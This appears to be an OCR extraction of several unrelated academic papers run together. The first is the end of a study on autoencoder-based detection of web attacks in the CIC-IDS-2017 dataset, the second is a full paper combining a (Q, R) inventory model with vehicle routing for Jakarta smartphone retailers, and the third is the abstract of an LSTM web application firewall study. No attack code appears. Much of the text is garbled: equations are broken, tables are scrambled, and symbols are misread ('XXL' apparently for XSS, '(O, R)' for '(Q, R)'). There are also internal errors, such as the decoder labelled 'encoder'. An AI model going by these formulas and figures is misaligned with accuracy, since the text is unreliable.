the model’s weights. The sigmoid function, one of the activation functions, takes any real value as input and converts it to
values in the (0,1) range. If it is desired to convert the net input value to the (-1,1) range, the tanh activation function is

preferred.
Bias
Input
X
1 Wy by
Activation function
Neuron 1 # Qutput
w output = 1 4+ g-—met input
Input 2
X3z

Net input function

net input = wyx, +w,x. + b,
Figure 2. Behavior of a neuron in forward propagation

As seen in Figure 2, after all the output values are found, the forward propagation process is completed, and the backpropagation
starts. The purpose of this process is to optimize the associated weights. The difference between the output obtained in the
output layer and the actual outputs reveals the error obtained as a result of forward propagation, or in other words, the cost.
After calculating the amount of error, the total error is distributed to all weights in the network. This process is called the
“backpropagation process.” In simple words, it tries to make the predicted value close to the actual value and reduce the
error. To this end, to determine the effect of change in each w, weight on the total error, its derivatives are calculated according
to the relevant weight and multiplied by 1, which is the learning rate, and thus the amount of change is calculated.

6Etotal
aWk

Wi — wy -1
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2.2. Autoencoders

There is a model of deep neural networks called an autoencoder, which is presented in figure 3. The most obvious feature
of this model is that the outputs and inputs are the same. Another visible feature is that there is a narrowing in the middle of
the hidden layers compared to the others. In the autoencoder deep neural network model, this hidden layer consisting of
narrowed neurons is called the “bottleneck.”

Encoder pumeme=s= » Decoder semmmee S

Bottleneck

Figure 3. Autoencoder model architecture
An autoencoder model has two main parts. In the first part, there are components called encoders. The encoder process
ensures that the data from the inputs are encoded up to the layer called the bottleneck. The bottleneck layer has fewer neurons
compared to other hidden layers. In this way, it can also be interpreted as a compression area for the data coming to the
bottleneck. The second part of the autoencoder model starts from the bottleneck layer and continues until it obtains outputs
and is called the encoder. This part enables the decoding of the encoded hidden layer data. The forward propagation and
backpropagation processes that are valid in deep learning models are also valid for autoencoders.

2.3. Anomaly detection with autoencoders

Autoencoders can be used to identify abnormal data, or in other words, outliers in data sets. The decoder part of autoencoders
plays an important role in such analyses. As shown in Figure 4, the data in the bottleneck are resolved in other layers and
reconstructed to match the output values. It is ensured that abnormal data appear by measuring the amount of reconstruction
error obtained during the resolution process.

Outputs

Bottleneck

Figure 4. Decoder part of autoencoders
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The way autoencoders work provides an effective solution that can be evaluated within the framework of unsupervised
learning in the detection of anomalies. To this end, it is aimed to obtain a model without the target attribute. As indicated in
Figure 3, a model is obtained by training the unlabeled data in an unsupervised manner with an autoencoder. When this
model obtained from the data, which is considered normal, is run with different data, it detects different data as abnormal
data (Ozkan, 2021).

3. APPLICATION

In this study, the process indicated in figure 4 was applied. At the first stage, the dataset was divided into two parts to be
used in the training and testing stages. Only normal traffic data were obtained by filtering the training dataset, and the test
data were again divided into two parts. Thus, ultimately, a dataset containing normal traffic data, a validation dataset, and

a test dataset were created.

Training data
{Normal)

Test data
(Mormal + Attack)

Autoencoder

|

Threshold
selting

Predictions

Figure 5. Process of detecting attacks on the network

For the raw dataset in the process in Figure 5, the Python programming language (Rossum & Drake, 1995) was used at the
modeling and prediction stages, in addition to the stages of preprocessing and dividing data into three separate datasets. The
software we developed included the Tensorflow (Abadi & Agarval, 2015), Keras (Chollet et al., 2015) and Matplotlib (Hunter,
2007) packages.

3.1. Dataset

To develop an autoencoder-based unsupervised learning model for cyber attacks, perform the classification process with this
model, and obtain a threshold value for classification, the open-source dataset collection called CIC-IDS-2017 organized by
the Canadian Cyber Security Center was downloaded (CICIDS2017, 2017), and appropriate processes were performed on it.
This dataset includes normal traffic data and some common types of attacks. The dataset within the community includes
timestamp, source and destination IPs, source and destination ports, protocols, and labeled class variables (Sharafaldin, 2018).

3.2. Data preprocessing

The dataset “Thursday-WorkingHours-Morning-WebAttacks.pcap ISCX.csv” included in the data collection called CIC-
IDS-2017 is related to web attacks and was selected for our analysis. The preprocessing step was applied to this raw dataset,

and some attributes that were found to be unnecessary were first removed from the raw dataset. The target attribute of this
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dataset includes four class information. They include normal “Benign” labeled traffic records without network attack, ‘Brute
Force’ labeled attack records and ‘XXL’ labeled attack records, and ‘Sql Injection’ labeled attack records. Normal traffic
records were relabeled as “Normal,” and all others were relabeled as “Attack,” and the class attribute was converted to a
two- class structure. After this process, the dataset was first divided into two parts as training and test datasets. Of the dataset
for training, 60% and 40% of the dataset for testing were randomly selected. Only observations labeled “Normal” were
selected by filtering the training data. Of the data reserved for the test process, 50% were randomly selected for validation,
and 50% of the data were randomly selected for use in the test. Thus, three datasets were obtained to use them for different
purposes. While the dataset reserved for training was created from 100821 observations with the class attribute, in other
words, the class label only “normal,” the validation dataset was created from 34046 observations with the class attribute
(normal + attack), and the test dataset was created from 34047 observations with the class attribute (normal + attack). The

number of observations of all three data sets is presented in Table 1.

Since the autoencoder model does not have the class attribute, it is not actually a classification model. However, the model
can be trained without the class attribute. Thus, if the dataset has a single class, then it can be trained using the data with a
single class. The raw dataset used has four classes, as mentioned above. We aim to obtain a model using the dataset without
test labels when it is given and perform classification on the test data in the form of normal+attack by employing this model.
Thus, in order to pave the way for self-learning, the observations with the class attribute “Attack” were removed from the
training dataset and turned into single-class data. Finally, in the data processing step, both normal and test data were

normalized using the min-max algorithm.

Table 1

Datasets used in the study

Datasets Number of observations
Training dataset 100821
Validation dataset 34046

Test dataset 34047

3.3. Autoencoder model

After data preprocessing was completed, the autoencoder model was defined. As seen in Figure 5, the model used has 77
input and output attributes and consists of 6 layers. As seen in Figure 6, the layer with 30 neurons in the model is the bottleneck
layer of the autoencoder model.

input_3 input:

[(None, 77)] | [(None, 77)]

InputLayer | output:

Y

dense_10 | input:

(None, 77) | (None, 77)
Dense output:

Y

dense_11 | input:

(None, 77) | (None, 50)
Dense output:

Y

dense_12 | input:

(None, 50) | (None, 30)
Dense output:

Y

dense_13 | input:

(None, 30) | (None, 50)
Dense output:

A

dense_14 | input:

(None, 50) | (None, 77)
Dense output:

Figure 6. Autoencoder model architecture
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3.4. Training of the model

The training inputs and outputs and the epoch parameters to be applied are defined before running the model. The epoch
number of the training was applied as 20. The graph in figure 6 was created to monitor the model’s performance during the
training. During the model’s training, losses are expected to decrease gradually and reach an acceptable level at each step.

When the graphs in Figure 7 are examined, it is understood that there is a development in line with the purpose.

L - Training and validation losses
Training and validation accuracy

0.0421 —— Training
0.925 4 0.040 4 —— Validation
0.900 1 0.038
0.875 1 0.036 1
5 5
2 0.850 1 £ 0.034 4
o] i
w
0.825 4 0.032
0.800 4 0.030 4
4 - 0.028 1
0.775 = Training
= Accuracy
0.750 1— ; ; : ; ; - - 0.026 1 T T T T T T T
0.0 25 5.0 75 10.0 12.5 15.0 17.5 0.0 2.5 5.0 75 10.0 12.5 15.0 17.5
Epoch Epoch

Figure 7. View of the model error
3.5. Prediction for the threshold value with validation data

A validation dataset was created to allow for threshold value setting in order to perform the classification process in the next
steps. The trained autoencoder is run using the model validation dataset to obtain such a threshold value. The model learned
only the observations with the class attribute label “normal.” Since the validation dataset has two classes in the form of the
class attribute (normal+attack), the model will accept the normal data in the validation data and evaluate the attack data as
abnormal data. The MSE (Mean Squared Error) values that provide this distinction were obtained from the autoencoder. In
this case, the sequence of MSE values was divided sequentially into two to select the most appropriate threshold value, each
of the sections was considered a different class, and the predictions and AUC values were calculated. The split point with
the largest AUC value among the results obtained was determined as the MSE=0.054347 threshold value.

3.6. Prediction with test data

The test dataset is classified according to the threshold value obtained using the validation data. The test data do not have
to be labeled. If the model’s performance is calculated at the end of the test process, labeled data should be used this time.
While the observation values for MSE values greater than the threshold value in the test data were labeled as “attack,” the
smaller ones were labeled as “normal.” Thus, separate predictions are obtained for each test observation.

Since the test dataset includes 30613 “normal” labeled data and 3434 “attack” labeled data, such a dataset is considered
imbalanced. This is acceptable if the difference between the class distributions is small. However, in case of a great imbalance,
the model accuracy becomes an unreliable measure of performance (Brownlee, 2021). The model accuracy was calculated
as 90.67% in this state. ROC curves are used to calculate the actual performance of the model when there are imbalanced
data. By drawing this curve, a value of 0.87 was obtained as the AUC value, as seen in figure 8, in order to reveal the model
performance.
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ROC curve

TPR

= AUC = 0.870
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Figure 8. ROC curve

4. CONCLUSION

In this study, an autoencoder model was designed, and a threshold value calculation process was performed to achieve the
purpose of classification. In this process, the raw network traffic data were divided into three parts to perform the training,
validation, and testing phases. In the training phase, only the observations labeled as “normal” were addressed in accordance
with unsupervised learning, and an autoencoder model was established. The reconstruction errors for each observation were
compared by applying validation data consisting of normal + attack observations to this model, and consequently, an optimum
threshold value capable of classifying between normal and attack observations was obtained. The model’s performance was
determined by applying the threshold value found on the test data. This study indicates that network traffic data can be
completely classified without the need for labeled data. The presence of the class attribute, in other words, data labeling,
increases the cost of modeling studies and slows down the development processes. It was revealed that in the real application
of the proposed model, only validation data and some labeled data would be used at the stage of obtaining the threshold, and

there was no need for labeled data during the training of the model and classification of new data.
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An Integrated Model of Continuous Review Inventory and Vehicle Routing Problem with Time Windows

1. INTRODUCTION

In the real world, each business industry wants more profit and achieves high customer satisfaction at a more negligible cost.
By aligning strategies for marketing and sales, the manufacturers can have a value added in terms of a delivery service to
the customers (Christian et al., 2021). In terms of the quality cost, quality control model should be developed (Montororing
& Nurprihatin, 2021). When it comes to the supply chain cost, a cross-docking strategy in truck scheduling was constructed
(Nurprihatin, Elvina, et al., 2021). Moroever, it is necessary to establish a stable, reliable, sustainable, environmentally
friendly, and an optimal resource-supply chain (Dzhelil et al., 2022). Regarding the inventory cost, item stock-out or shortage
is a significant issue for customer satisfaction and can be countered by providing safety stocks (Dey et al., 2019). Besides,
the completeness of the product sold is one of the other important things that requires attention (Tannady et al., 2018).
Therefore, inventory decision is a critical part when it comes to smooth business operations. In other words, the inventory

is taken as the stock of any goods or resources used in a company or an organization (Nurprihatin, Gotami, et al., 2021).

This study discusses an authorized distributor of smartphone and tablet computer products in Indonesia, which has been
established and operating since 2007. Apart from being the authorized distributor of smartphone products, the company has
also established retail gadgets in several cities in Indonesia such as Jakarta, Bandung, Samarinda, Bekasi, Pontianak, and
Bogor. Smartphone users are increasing from time to time. In 2020, 62.84 percent of the Indonesian population used a cell
phone (Statistics Indonesia, 2021). The high number of smartphone users will result in soaring demand for smartphones from
every operating smartphone retailer. Therefore, the required demand is a challenge for every retailer. However, historical
data shows stock-outs from several retailers that are run by a particular authorized distributor.

Table 1 shows stockout data for each retail from January to December 2018. The unavailability of smartphone product stock
is caused by several reasons, including the volume of demand for each retail higher than supplies, frequent returns of goods
to distributors, and the occurrence of purchases massively by other smaller retailers.

Table 1
Stock-out for smartphones in 2018

Stock-out in 2018 (units)

No Retail Locations Total
Jan Feb Mar  Apr  May Jun Jul Aug Sep Oct Nov Dec

1 Aeon Mall, Tangerang 15 24 21 16 29 45 21 27 24 18 29 35 304
Mall Metropolitan, Bekasi 19 28 22 27 37 67 27 24 27 21 17 25 341

3 Cibinong City Mall, Bogor 25 28 35 31 19 58 35 22 15 19 28 32 347

4 Mall Taman Anggrek, West 28 1 19 15 27 19 14 19 11 23 27 234
Jakarta

5 E-center Supermal Karawaci 28 16 12 17 23 36 23 16 26 22 25 38 282

¢  MallArtha Gading, North )0 g s 57 4 25 19 29 21 25 31 309
Jakarta

7 Tangerang City Mall 18 25 11 14 19 30 16 12 17 19 14 24 219

8 Plaza Blok M, South Jakarta 12 29 18 17 12 33 19 17 20 22 17 38 254

9 Lippo Mal Kemang, South ¢ 13 25 12 15 23 11 19 23 11 19 kY 219
Jakarta

jo  Metropolitan Mall Cileungsi, ¢ 24 28 19 24 29 15 21 18 12 13 21 252
Bogor Regency

Total Stock-out 214 229 202 197 220 390 211 191 218 176 210 303 276l

Currently, the company is considering a plan to take over the role of a logistics service company to reduce the total logistics
costs that must be incurred by making improvements in terms of inventory management. In this study, it is assumed that
product shipments are only for smartphone products that cover the Jakarta area and its surroundings. Currently, the planned
distribution route is only concerned with meeting the demand from each retailer, but has not considered logistics costs and
also the optimal route or total distance. Moreover, the different operating hours of each retailer become a problem that needs
to be resolved in supply and distribution management.

Total logistics costs will be higher when the amount of cargo carried on a vehicle is not optimal or in a relatively small
amount. In addition, the activity of distributing products or goods is also influenced by the factor of the route of delivery of
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goods, which must be efficient and can save time and costs. In the end, inventory management can also protect the company
from the impact of inflation and price increases that will impose logistics costs and anticipate fluctuations in consumer

demand for retail companies (Heizer et al., 2020).

This study contributes to minimizing total logistics costs by integrating the concept of a continuous review lot size-reorder
point (O, R) inventory model with lost sales and vehicle routing problems with time windows (VRPTW). The (O, R) inventory
model with lost sales is a method to reduce total inventory costs by determining the optimum number of orders so that the
company has product inventories or reserves. If at any time the product is needed, there is still availability of product stock
at a minimum cost. Meanwhile, the VRPTW is used because it can minimize the total logistics costs which are influenced
by optimal order requests, vehicle capacity, and product delivery time. These two methods are used to minimize the total
logistics costs by considering the EOQ calculation in a (Q, R) inventory model with lost sales. The integration of these two

methods can provide with proposed shipping routes that are efficient in terms of cost, distance, and travel time.
2. LITERATURE REVIEW

Under a stochastic and dynamic supply chain environment, a study utilized simulation-based optimization on a multi-echelon
inventory system (Xu et al., 2019). Another contributive study discussed the uncertain demand using the Monte Carlo
simulation (Nurprihatin et al., 2020). This condition leads to uncontrolled total inventory costs. The major inventory costs
considered in this study include holding cost, setup cost, and shortage cost.

The continuous review model has been developed under the various distributions of the demand and the demand during lead
time. One study assumed the demand is following the lognormal distribution (Gholami & Mirzazadeh, 2018). One of the
important assumptions for the inventory model is the distribution of the demand during lead time (Gholami & Mirzazadeh,
2018). The demand during lead time is assumed to follow the Normal distribution (Mukherjee et al., 2019) or Poisson
distribution (Dey et al., 2019; Kouki et al., 2019).

There exist two main categories of the allowable shortage models in the inventory management literature, which are backorder
and lost sales (Gholami & Mirzazadeh, 2018). For the backorder, the assumption is that all customers will wait up to receiving
the next order quantity, while all customers relinquish the systems during the shortage situation under a lost sales scenario
(Gholami & Mirzazadeh, 2018).

The inventory policy has been integrated with the production policy assuming the random capacity follows a gamma-type
distribution (Gholami & Mirzazadeh, 2018). When it comes to the production policy, setup times and product defects can be
reduced by performing extra investments (Dey et al., 2019; Gholami & Mirzazadeh, 2018; Liu et al., 2020). Also, the scheduling
issue has been tackled to minimize the number of tardiness (Nurprihatin et al., 2020). The manufacturers need to pay attention
to the delivery schedules so that there will be no tardy distribution (Gunawan et al., 2020). Any tardiness would lead to
lossess to the manufacturers (Andiyan et al., 2021).

The routing decision has been presented along with the network location decision, along with the feasibility study (Nurprihatin,
Octa, et al., 2019). Many different types of VRP such as VRP with Time Windows, Stochastic VRP, Multi Depot VRP,
Periodic VRP, Dynamic VRP, and different combinations of these have been studied (Demirbilek, 2021). A study discussed
the developed variant of VRPTW called the time-dependent vehicle routing problem with time windows (TDVRPTW) (Liu
etal., 2020). Another study developed the Vehicle Routing Problem Model with Multiple Trips, Time Windows, Split Delivery,
Heterogeneous Fleet, and Intermediate Facility (VRPMTTWSDHFIF) as an advanced model (Nurprihatin & Lestari, 2020).
In this paper, the routing decision is integrated with the inventory policy, as shown in Table 2. When VRP is combined with
time window constraint, the problem is termed VRPTW (Dixit et al., 2019). The aim of VRPTW involves the minimization
of the number of vehicles and the total travel distance (Dixit et al., 2019). In this paper, the objective is to minimize the
distribution cost, referring to the previous research (Gmira et al., 2021; Keskin et al., 2021). The distribution cost was
traditionally approximated by the travel distance (Nurprihatin, Andry, et al., 2021; Nurprihatin & Tannady, 2018) and by the
stochastic travel time (Nurprihatin, Elnathan, et al., 2019; Nurprihatin & Montororing, 2021). However, a previous study
utilized the real distribution cost given by third-party logistics (Nurprihatin, Regina, et al., 2021). Meta-learning has been
used to select meta-heuristics to solve VRPTW (Gutierrez-Rodriguez et al., 2019).
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Table 2
Related works
Inventory Assumption Demand Lead time Demand 'durmg Distribution Objec'tlve
model lead time model function
(Mukherjee et . Normal Normal Minimizing
al., 2019) (Q. R) policy Backorder distribution Constant distribution No inventory cost
(Kouki et al., . Poisson Poisson Poisson Minimizing
2019) (Q. R) policy Lost sales distribution distribution distribution No inventory cost
(Gmira et al., No Stochavstlc travel No No No VRPTW Ml.nll’l’l.lllng
2021) times distribution cost
(Keskin et al., No S.t(?chas.tlc No No No VRPTW Mlhnlm.lzlng
2021) waiting times distribution cost
Minimizing
This paper (O, R) polic Lost sales Normal Constant Normal VRPTW inventory cost.
bap 1 polIcy distribution distribution Minimizing
distribution cost.
3. METHODS

3.1. Continuous Review (Q, R) Inventory Model with Lost Sales

The initial step in (O, R) inventory model is calculating the EOQ using the formula shown in Equation (1) (Nahmias & Olsen,

2021). The Cycle Service Level (CSL) or in-stock probability for lost sales situation is calculated using Equation (2) (Chopra
& Meindl, 2016; Nahmias & Olsen, 2021). A further calculation is calculating the O using Equation (3) (Nahmias & Olsen,
2021). An iterative calculation using Equation (2) and Equation (3) should be performed until the value of Q and CSL from

the # iteration is equal to the n-1 iteration. Reorder point can be calculated using Equation (4) (Nahmias & Olsen, 2021). In

the end, the expected average annual cost formula is shown in Equation (5) (Nahmias & Olsen, 2021). The expected average

annual cost consists of the holding cost, setup cost, and shortage cost.

GQ.R) =
where:
0 = Economic Order Quantity (units)
K = Setup cost (per order)
A = Demand rate (units per year)
h = Holding cost (per unit per year)
CSL = Cycle Service Level
p = Stock-out cost (per unit per year)
o = Standard deviation of demand

2K
Eoe=0= |5~
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L(2) = Standardized loss function

R = Reorder Point

T = Lead time

s = Safety stock

Hppr = Average demand during lead time

Oppr = Standard deviation demand during lead time

G(Q, R) = Expected average annual cost

The next stage is calculating the shortest route with a specific capacity of transportation mode. VRPTW is run with Lingo

18 software and this application is usually used to solve and help optimization problems in the industrial and government

fields. The required inputs include distance matrix, time matrix, service time, and the opening and closing time of the retail.

From the previous calculation, which is the continuous review (O, R) inventory model, the cycle demand data (is equal to

0*) from each retailer can be obtained.

After obtaining the results of the EOQ calculation, reorder point, safety stock, and expected average annual cost from each

retailer, the calculation continues to choose a route with a certain type of vehicle. The route starts from the Distribution

Center (DC) to ten retailers in Jakarta and its surrounding areas.

- g (O, R) Inventory Model
Z 5 _ with Lost Sales
2z |
£33 Y Y
S 2 Optimal Order Quantity Reorder Point, Cycle
E (%) Service Level
v
O*is considered as Capacity of
0 o cycle demand transportation mode
g3k ' '
2% 3 v
ZEs VRPTW Model
28 g
SEE v
> B
Minimized Logistics
Cost

Figure 1. Research procedure

3.2. Vehicle Routing Problem with Time Windows (VRPTW) Model

The VRPTW model is presented in the form of one objective function and seven constraints, as follows.

Objective function:

Min Zygpry = Z Z dijx;

iEN jEN

(6)
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Subject to:
D =1 vie C (7)
iEN
zxoj =1 veC (8)
JEN
Z Xin — Z Xp; =0 V,EC 9)
iEN JEN
Z Xin+1) = 1 VEC (10)
iEN
mi+si+tij—R(1—xij)Smj vi,jeN (11)
a; < Si < bi Vie N (12)
x;; € {0,1} Vi €N (13)

Equation (6) is the objective function of the mathematical model to minimize the distance traveled by the vehicle. Constraint
(7) states that each customer is visited exactly once, constraint (8), constraint (9), constraint (10) state the path or route
traversed by the vehicle departing from the depot (DC), then visits one of the customers, where after visiting the customer,
the vehicle will visit other customers until the vehicle returns to the depot (DC). Equation (11) states that the vehicle is not
allowed to arrive at customer j before m; + s; + t;; or before the start of service time plus service time for customer 1 and plus
service time from i to j, and R is a real number of large value. Constraint (12) is used to ensure that the time window constraint
is met. Constraint (13) states that the decision variable x;; is a binary decision variable in the form of 0 or 1.

4. RESULTS AND DISCUSSION

Table 3 provides information on the results of the continuous review (Q, R) inventory model with lost sales. Coincidentally,
the ten locations reach their optimal point in the third iteration. In another case study, the possible number of iterations may
vary depending on the variability in the demand data. The more varied the request data, the more iterations will be. Later
on, the value of O* will be considered as a cycle demand that must be distributed for each shipment. The calculation results
also show the expected average annual cost for all locations reaches IDR 27,263,204,625.59.

Table 3

Continuous review (Q, R) inventory model with lost sales results

Location Iteration Q* (units) R (units) a Z(a) L(z) 7 (years) ss (units) G(Q, R)(IDR)
I¢t 823 173 0.1957 0.86 0.108 0.08

1 2nd 825 173 0.1961 0.86 0.108 0.08 4 2,693,013,696.96
3rd 825 173 0.1961 0.86 0.108 0.08
Ist 952 234 0.1737 0.94 0.0933 0.08

2 2nd 955 234 0.1742 0.94 0.0933 0.08 7 3,596,354,664.27
3rd 955 234 0.1742 0.94 0.0933 0.08
I 855 185 0.1898 0.88 0.1042 0.08

3 2nd 857 185 0.1902 0.88 0.1042 0.08 5 2,903,842,891.97
3rd 857 185 0.1902 0.88 0.1042 0.08
I 923 219 0.1781 0.93 0.095 0.08

4 2nd 926 219 0.1785 0.93 0.095 0.08 6 3,385,718,197.84
3rd 926 219 0.1785 0.93 0.095 0.08
I¢t 885 201 0.1844 0.9 0.1004 0.08

5 2nd 887 201 0.1848 0.9 0.1004 0.08 5 3.111.998.564,97
3w 887 201 0.1848 0.9 0.1004 0.08
I¢t 781 157 0.2042 0.83 0.114 0.08

6 2nd 783 157 0.2046 0.83 0.114 0.08 4 2.426.638.428,41
3rd 783 157 0.2046 0.83 0.114 0.08
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Table 3

Continuous review (Q, R) inventory model with lost sales results

Location Iteration Q* (units) R (units) a Z(a) L(z) 7 (years) ss (units) G(Q, R)(IDR)
It 746 143 0.2118 0.81 0.1181 0.08

7 2nd 747 143 0.2120 0.8 0.1202 0.08 4 2.215.683.335,12
3rd 747 143 0.2120 0.8 0.1202 0.08
1t 712 130 0.2197 0.78 0.1245 0.08

8 2nd 713 130 0.2199 0.78 0.1245 0.08 3 2.019.748.650,21
3rd 713 130 0.2199 0.78 0.1245 0.08
1st 761 150 0.2084 0.82 0.116 0.08

9 2nd 764 150 0.2091 0.81 0.1181 0.08 6 2.305.566.856,19
3rd 764 150 0.2091 0.81 0.1181 0.08
I 809 167 0.1983 0.85 0.11 0.08

10 2nd 811 167 0.1987 0.85 0.11 0.08 4 2.604.639.339,65
3rd 811 167 0.1987 0.85 0.11 0.08

Total 27.263.204.625,59

The route selection is based on EOQ data from each retailer so that recommendations can be given regarding the number of
vehicles to be used and the selected route. Data related to the retail operational and service time is shown in Table 4. Table
5 shows the distance matrix by converting the coordinates obtained via Google Maps into the Euclidean formula while Table
6 represents the time traveled.

Table 4

Operational hours
Location  Opening Hour Opening Minutes Closing Hour Closing Minutes

DC 08.00 480 22.00 1320

1 10.00 600 22.00 1320

2 09.30 570 22.00 1320

3 09.00 540 23.00 1380

4 10.00 600 22.00 1320

5 10.00 600 22.00 1320

6 10.00 600 22.00 1320

7 10.00 600 22.00 1320

8 10.00 600 22.00 1320

9 10.00 600 22.00 1320

10 10.00 600 22.00 1320
Table 5
Distance matrix (km)
Locations 1 2 3 4 5 6 7 8 9 11 11
1 0.00 44.70 21.10 41.90 13.80 41.50 5.60 33.40 17.50 19.50 38.30
2 44.70 0.00 49.43 61.27 46.78 60.99 45.05 55.80 48.00 48.77 58.86
3 21.10 49.43 0.00 46.91 25.21 46.56 21.83 39.51 27.41 28.73 4373
4 41.90 61.27 46.91 0.00 44.11 58.97 42.27 53.58 45.41 46.22 56.77
5 13.80 46.78 25.21 44.11 0.00 4373 14.89 36.14 22.29 23.89 40.71
6 41.50 60.99 46.56 58.97 4373 0.00 41.88 53.27 45.04 45.85 56.47
7 5.60 45.05 21.83 42.27 14.89 41.88 0.00 33.87 18.37 20.29 38.71
8 33.40 55.80 39.51 53.58 36.14 53.27 33.87 0.00 37.71 38.68 50.82
9 17.50 48.00 27.41 45.41 22.29 45.04 18.37 3771 0.00 26.20 42.11
10 19.50 48.77 28.73 46.22 23.89 45.85 20.29 38.68 26.20 0.00 42.98

—_—
—_

38.30 58.86 43.73 56.77 40.71 56.47 38.71 50.82 42.11 42.98 0.00
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Table 6

Time traveled matrix (minutes)

Locations 1 2 3 4 5 6 7 8 9 10 11

1 0.00 53.64 25.32 50.28 16.56 49.80 6.72 40.08 21.00 23.40 45.96
2 53.64 0.00 59.32 73.52 56.14 73.19 54.06 66.96 57.60 58.52 70.64
3 25.32 59.32 0.00 56.30 30.25 55.87 26.20 47.41 32.90 34.48 52.47
4 50.28 73.52 56.30 0.00 52.94 70.77 50.73 64.30 54.49 55.46 68.12
5 16.56 56.14 30.25 52.94 0.00 52.48 17.87 43.37 26.74 28.67 48.85
6 49.80 73.19 55.87 70.77 52.48 0.00 50.25 63.93 54.05 55.02 67.77
7 6.72 54.06 26.20 50.73 17.87 50.25 0.00 40.64 22.05 24.35 46.45
8 40.08 66.96 47.41 64.30 43.37 63.93 40.64 0.00 45.25 46.41 60.98
9 21.00 57.60 32.90 54.49 26.74 54.05 22.05 45.25 0.00 31.44 50.53
10 23.40 58.52 34.48 55.46 28.67 55.02 24.35 46.41 31.44 0.00 51.57
11 45.96 70.64 52.47 68.12 48.85 67.77 46.45 60.98 50.53 51.57 0.00

Assuming the vehicles’ speed is assumed to be 50 km/hour, the current plan for product delivery is considered large because
the total distance is 491.3 and the total time taken is 589.7 minutes, while the total distribution cost itself'is IDR 849,454,616.2.
Table 7 presents the total distribution cost, which consists of the fuel consumption, labor cost, commission per visit, and
fixed costs of the vehicle used, referring to the previous study (Liu et al., 2020). As additional components, this paper also
considers the feasibility study and parking fee.

Through calculations using the integration of the continuous review (Q, R) inventory model with lost sales and VRPTW, to
meet the volume of demand from 10 retailers, product shipments were carried out 3 times a year. Based on the established
routes, it is proposed to procure 3 units of vehicles to accommodate all three routes simultaneously. It is necessary to conduct
a feasibility test for the three vehicles before being operated as a condition of travel in Indonesia. The calculation results
show the total distribution cost is IDR 445.631.642,7 per trip. Based on the current total distribution costs, it was found that
the total distribution costs were IDR 849.454.616,2, so there is a decrease in distribution costs of 47.54%.

Table 7
Total distribution cost per trip
Total IDR
Vehicl Rout Dist issi ibili
ehicle oute istance Fuel Price Labor Cost Comm1§s.10n per Feasibility Vehicle Price  Parking Fee
(km) Visit Test
1 b C";9C'8'6' 87,86 43.008,39 400.000 100.000 75.000 148.300.000 16.000
2 DC-;—éO-Z- 149,05 72.961,54 400.000 75.000 75.000 148.300.000 12.000
DC-5-1-3-
3 Do 205,66 100.672,7273 400.000 75.000 75.000 148.300.000 12.000
Total 442.57 216.642,6573 1.200.000 250.000 225.000 444.900.000 40.000
445.631.642,7
5. CONCLUSION

In this integration model, the calculation begins by identifying the EOQ value, reorder point, safety stock, and total expected
average annual inventory cost, followed by determining the distribution route and the number of vehicles needed using VRPTW
to get the total distribution cost. Continuous review (O, R) inventory model with lost sales shows the retailers’ cycle demand
range from 130 to 234 units. This condition leads to the value of the expected average annual inventory cost IDR 27.263.204.625,59.

Based on the VRPTW calculation, the total distance and travel time per trip are 442.57 km and 531.08 minutes, respectively.
Therefore, the total distribution cost per trip is IDR 445.631.642,7. This affects the efficiency level of the total distribution cost
obtained, which is 47.54%.Total logistics cost is defined as total inventory costs plus total distribution costs. The total logistics
cost that must be incurred by the company to deliver smartphone products to 10 retailers in Jakarta and its surrounding areas
is IDR 27,708,836,268.29.

While this study has assumed that the vehicle travel speed or travel time between two nodes is fixed, further research can
consider the stochastic time travel as discussed in the previous paper (Liu et al., 2020).
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ABSTRACT

Anomaly detection has been researched in different areas and application domains. The main difficulty is to
identify the outliers from the normals in case of encountering an input that has unique features and new values. In
order to accomplish this task, the research focusses on using Machine Learning and Deep Learning techniques.
In the world of the Internet, we are facing a similar problem to identify whether a website request contains
malicious activity or just a normal request. Web Application Firewall (WAF) systems provide such protection
against malicious requests using a rule based approach. In recent years, anomaly based solutions have been
integrated in addition to rule based systems. Still, such solutions can only provide security up to a point and such
techniques can generate false-positive results that leave the backend systems vulnerable and most of the time rules
based protection can be bypassed with simple tricks (eg. encoding, obfuscation). The main focus of the research
is WAF systems that employ single and stacked LSTM layers which are based on character sequences of user
supplied data and revealing hyper-parameter values for optimal results. A semi-supervised approach is used and
trained with PayloadAllTheThings dataset containing real attack payloads and only normal payloads of HTTP
Dataset CSIC 2010 are used. The success rate of the technique - whether the user input is identified as malicious
or normal - is measured using F1 scores. The proposed model demonstrated high F1 scores and success in terms
of detection and classification of the attacks.

Keywords: Deep learning, LSTM, web application firewall, machine learning, neural networks, web
attacks, anomaly detection, HTTP protocol

0z

Anomali tespiti, farkli sektorlerde ve uygulama alanlarinda arastirilmaya devam etmektedir. Anomali tespitindeki
temel zorluk, benzersiz 6zelliklere ve yeni degerlere sahip bir girdi ile karsilasilmasi durumunda normallerden
aykir1 degerleri belirlemektir. Aragtirmalar, bu gorevi yerine getirmek i¢in Makine Ogrenmesi ve Derin Ogrenme
tekniklerini kullanmaya odaklanmaktadir. Internet diinyasinda, bir web sitesi isteginin kétii niyetli veya sadece
normal bir istek olup olmadigini belirlemek istedigimizde yine benzer bir siniflandirma problemiyle kars1 karstya
kalmaktayiz. Web Uygulama Giivenlik Duvar1 (WAF) sistemleri kotii niyetli faaliyetlere ve isteklere karsi, kural
tabanli ve son yillarda kullanilan anomali tabanli ¢6ziim kullanarak koruma saglar. Bu tiir ¢dziimler bir noktaya
kadar giivenlik saglar ve kullanilan teknikler, arka ug sistemlerini savunmasiz birakan hatali sonuglar
tiretmektedirler. Bu ¢alismanin odak noktasi, karakter siralamasi tabanl bir LSTM (tekli ve yigilmis olmak
tizere) yapist kullanilarak bir WAF sistemi olusturmak ve derin 6grenme modelinin optimum sonug iiretmesi igin
hiper parametrelerin hangi degerleri almasi gerektigini ortaya koymaktir. Semi-supervised 6grenme yaklasimi
icin Payload AllTheThings verisetinde yer alan gercek saldir1 verilerinin yani sira HTTP CSIC 2010 verisetinde
yer alan ve normal olarak etiketlenen veriler hem modelin 6grenmesi sirasinda hem de test edilmesi adiminda
kullanilmistir. Onerilen teknigin basar1 oraninin analizini igin F1 skor degeri baz alinmistir. Yapilan analizler ve
deneyler sonucunda elde edilen derin 6grenme modelinin F1 basar1 oraninin yiiksek oldugu ve saldirilari tespit
etme ve siniflandirma noktasinda da basari elde edildigi gosterilmistir.

Anahtar Kelimeler: Derin 6grenme, LSTM, web uygulama giivenlik duvari, makine 6grenmesi, sinir
aglari, web saldirilari, anomali tespiti, HTTP protokolii
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1. INTRODUCTION

